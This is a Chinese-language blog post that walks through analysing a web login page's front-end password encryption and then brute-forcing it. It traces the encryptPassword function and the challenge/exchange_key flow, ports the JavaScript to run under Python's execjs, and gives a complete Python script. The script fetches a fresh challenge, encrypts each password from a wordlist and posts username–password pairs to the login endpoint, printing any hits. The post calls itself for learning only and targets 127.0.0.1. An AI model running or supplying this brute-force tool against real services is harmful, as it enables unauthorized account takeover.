首页 > 其他分享 >一次有趣的前端加密分析爆破

一次有趣的前端加密分析爆破

时间:2024-03-20 14:47:34浏览次数:18  
标签:爆破 exchange 前端 js key print 加密 challenge

前言

一次有趣的密码加密爆破分享,仅供学习参考,如需转载请声明原文链接

寻找登录加密点

  • 首先按住ctrl+shift+i打开开发者调试界面
  • 然后找到网络页面,随便输入账号密码提交一次
  • 查看启动器,直接点击蓝色的链接转到密码登录处

  • 分析js代码

可以看到FinishLogin将curItem转到doStart()方法中,dostart()方法发送了一个get请求

api/source/${curItem.id}/start?login_name=${
              this.loginData[curItem.fields[0]]
这里curItem.fields[0]是传入的用户名

然后从这个链接中获取challenge和exchange_key的值

既然有发送请求,那么这个链接从网络日志那里就可以看到了

  • 查看链接返回的数据

果然可以看到challenge和exchange_key的值

challenge
: "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w"
exchange_key
: 
"Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"

回到dostart()方法
然后if判断使用是否有验证码,若是没有则转到passwordLogin方法,并且将curItem, challenge, exchange_key传过去

  • 转到passwordLogin方法
  • 这里直接在这个文件中搜passwordLogin就找到了

直接看加密的部分,使用了encryptPassword()方法,将 exchange_key,challenge,credentials["password"]传入

  • 转到encryptPassword()方法

可以发现函数所在的路径,转到该文件查看方法

这里的形参passwordKey就是我们传入的exchange_key,形参challenge就是challenge,password就是传入的password

encryptPassword就是主加密函数,主要的加密方法都在这个文件里,还引用了x25519.js文件中的函数

  • 大致的加密流程如下:
    • 获取challenge和exchange_key的值
    • 使用jwes.js文件中的encryptPassword()方法传入challenge、exchange_key和password进行加密

爆破密码

环境配置

nodejs下载安装
python导入execjs模块

代码编写分析

前言:这里使用python的execjs模块来执行js中的函数,也就是encryptPassword()方法

  • 首先将jwes.js文件保存至本地

  • 下载导入所需的模块
    jwes.js文件中开头有如下代码
    const forge = require("node-forge");
    import x25519 from "./x25519";
    所以我们需要下载js的第三方模块forge,并且导入x25519.js文件
    npm install node-forge
    注意:我好像无法使用import导入x25519.js这个文件,也不知道啥原因,于是我直接将x25519的代码将所有的代码粘贴到jwes.js文件中,并且修改代码

  • 将内置变量修改成全局变量

  • 静态方法改成普通方法

  • 将export给去掉

大佬们有什么解决方法可以分享下,小弟不甚感激

python代码如下

import os
import execjs
#指定js运行环境是nodejs
os.environ["EXECJS_RUNTIME"] = "NodeJS"
#打开js文件,并且指定编码为utf-8
with open("jwes.js", "r", encoding='utf-8') as f:
    a = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")
pwd = []
f = open("passwd.txt", "r", encoding='utf-8').readlines()
for line in f:
    pwd.append(line.replace("\n", ''))
for i in pwd:
#调用js文件中的encryptPassword()方法
    result = a.call('encryptPassword', "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk","28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w", i)
    print(result)

  • 注意
    • 文件打开的编码类型指定utf-8
    • execjs.compile(f.read(), cwd=r"D:/environment/NodeJs/node_modules")
      • cwd指定第三方库的路径

错误解决

  • bug1:运行以上的代码出现如下错误:window is not defined
execjs._exceptions.ProgramError: ReferenceError: window is not defined

根据提示,定位到window

这就是一个生成随机数的函数,但是window是浏览器的特性,nodejs没有这个东西,将这段代码改成如下即可

function cryptoRandomBytes(length) {
  let array = new Uint8Array(length);
  return crypto.getRandomValues(array)
}
  • bug2:js网络请求错误
    exchange_key不变,但是challenge具有实时性,challenge每一次都不一样,需要从链接api/source/${curItem.id}/start?login_name=获取
    但是我无法解决使用js获取该网址返回的json数据包中的challenge字段,一直报错,没办法,我js基础太差了,这里使用python的request模块请求获得challenge的值

python完整代码

使用python获取challenge数据,然后将文件中的密码加密,直接使用python进行爆破

import json

import execjs
import requests

successCount = 0


def mzDes(s,para):
    url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'  # 替换为你要获取内容的网页 URL
    response = requests.get(url)
    content = str(response.json()['data']['challenge'])
    despara = execjs.compile(s,cwd=r"D:\environment\NodeJs\node_modules").call("encryptPassword","Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",content,para)
    return despara

with open('jwes.js','r', encoding='utf-8') as jsFile:

        a = jsFile.read()
        with open('./users','r', encoding='utf-8') as users:   #des username
            user = users.readlines()
        for u in user:
            with open('passwd.txt','r', encoding='utf-8') as pwds:   #des password
                    uname = u.strip()
                    print(uname)
                    # desUsername = mzDes(s,uname)
                    # print(desUsername)

                    pwd = pwds.readlines()
                    for p in pwd:
                        passwd = p.strip()
                        print(passwd)
                        desPassword = mzDes(a,passwd)
                        print(desPassword)




                        burp0_url = "http://127.0.0.1/api/source/AlbdUKmU/finish"

                        burp0_headers = {"User-Agent": "Mozilla/5.0 Firefox", "Accept": "application/json, text/plain, */*", "X-Requested-With":"XMLHttpRequest", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://127.0.0.1/", "Connection": "close", "Referer": "http://127.0.0.1/login"}
                        burp0_data = {"login_name": uname, "password": desPassword,}

                        rsp = requests.post(burp0_url, headers=burp0_headers, data=json.dumps(burp0_data))

                        if rsp.json()['status'] == 'error':
                            print('error')
                            code = rsp.json()['code']
                            print(code)
                            if code == "UNKNOWN_ACCOUNT":
                                break

                            print("-------------------")
                        else:
                            successCount=successCount+1
                            print("sucess:\n\tuname:"+uname+"\n\tpassword:"+passwd)
                            print("*****正确的密码********")
                            print(rsp.content)

print(successCount)

标签:爆破,exchange,前端,js,key,print,加密,challenge
From: https://www.cnblogs.com/cisbxh/p/18085161

相关文章

  • 前端React篇之React Hook 的理解及实现原理
    目录ReactHook的理解及实现原理实现原理类组件vs函数组件为什么需要HooksReactHooks解决了什么问题案例1.tsx案例2.tsx总结ReactHook的理解及实现原理ReactHook是React16.8引入的新特性,它可以让函数组件拥有类似于class组件中的state和生命周期等特性,以......
  • 前端必学-40个精选案例实战-案例9:企业首页实战项目【PC端网页布局】
    项目首页.psd项目设计图头部导航条的制作资源:html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,......
  • 19.html+css网页设计实例/“美妆”口红主题介绍/web前端期末大作业/
    前言本文以“美妆”口红网页为主题设计,本实例系统文件种类包含:html结构文件、css网页样式文件。应用DIV、点击事件、表格、搜索等,供大家参考。【关注作者|获取更多源码(2000+个Web案例源码)|优质文章】;您的支持是我创作的动力!看到这里就【点赞收藏博文】,三连支持下吧,3Q!有兴趣的......
  • 前端防止重复提交案例
    前端防止5秒内重复提交案例:varisBusy=0if(isBusy==1){errorMsg("5秒钟内不能重复提交!");returnfalse;}else{isBusy=1;setTimeout(functi......
  • Vue前端界面的创建和路由的配置
    大纲:创建vue文件并访问*创建vue文件,在views目录创建文件*在文件的template节点中添加要显示的内容*在route目录下的index.js文件中配置路由    *使用import引入vue文件        *配置路由    {        path:'/url',     ......
  • 前端路由history路由和hash路由的区别?原理?
    前端路由是指在单页应用程序(SPA)中通过改变URL路径来实现页面切换和导航的机制。在前端开发中,有两种主要的前端路由实现方式:基于HistoryAPI的路由(history-basedrouting)和基于哈希(Hash)的路由(hash-basedrouting)。基于HistoryAPI的路由(history-basedrouting):Histor......
  • 前端基础之JavaScript的数据类型
    一、常用的调试语句方法说明示例归属alert(msg);警告,在浏览器中弹出一个警告框,内容为alert里面的内容alert("Surprise");浏览器closole.log(msg);控制台,在控制台内输出一些内容console.log("Surprise");浏览器prompt(问题,值);对话框,第一个参数是询问内......
  • 前端基础之JavaScript引入
    一、什么是JavaScriptJavaScript是一门跨平台、面向对象的脚本语言(不需要编译,直接解释运行即可),来控制网页的行为,它能使网页可交互。脚本语言:不需要编译,运行过程中由js解释器(js引擎)逐行来进行解释并执行。现在也可以基于Node.js技术进行服务器端编程W3C标准:网页主要由......
  • 前端性能优化
    性能优化的目的是为了实现资源的快速加载和响应。性能优化前,需要先分析性能,目的是分析出包含页面渲染、网络传输和文件加载等时间指标,对该页面进行评估分析。找出影响性能的主要因素和瓶颈,对此给出性能优化解决方案。1.性能分析Chrome浏览器的Performance选项卡主要用于对页......
  • 关于前端的学习2
    目录前言:1.标签的进阶:1.1单标签:功能标签1.2双标签:内容标签1.3元标签(MetaTags):1.3.1标题(Title):1.3.2描述(Description):1.3.3关键词(Keywords):1.3.4其他元标签:1.4链接标签:1.4.1锚文本(AnchorText):1.4.1Nofollow属性:1.5图片标签:1.5.1Alt属性:1.5.1Title属性:1.6结构......